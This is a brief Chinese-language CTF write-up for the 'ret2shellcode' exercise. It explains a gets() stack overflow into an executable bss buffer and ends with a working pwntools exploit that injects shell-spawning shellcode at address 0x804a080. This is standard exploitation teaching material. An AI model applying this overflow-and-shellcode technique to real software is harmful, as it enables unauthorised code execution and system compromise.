ret2shellcode
1.checksec看一下
- 32位的文件
- 什么保护都没开,并且有可读,可写,可执行段
2.IDA pro看一下
- gets函数读入一个 s
- 然后把 s 复制到 buf2
- 可以看出,程序仍然是基本的栈溢出漏洞,不过这次还同时将对应的字符串复制到 buf2 处。简单查看可知 buf2 在 bss 段。
- 那么这次我们就控制程序执行 shellcode,也就是读入 shellcode,然后控制程序执行 bss 段处的 shellcode。
3.vmmap看一下buf2的执行权限
bss段可执行,那么构造思路就是利用gets是函数将s填满,将shellcode写在s的最前面,再加上返回地址
4.exp附上
#!/usr/bin/env python
from pwn import *
sh = process('./ret2shellcode')
shellcode = asm(shellcraft.sh())
buf2_addr = 0x804a080
sh.sendline(shellcode.ljust(112, 'A') + p32(buf2_addr))
sh.interactive()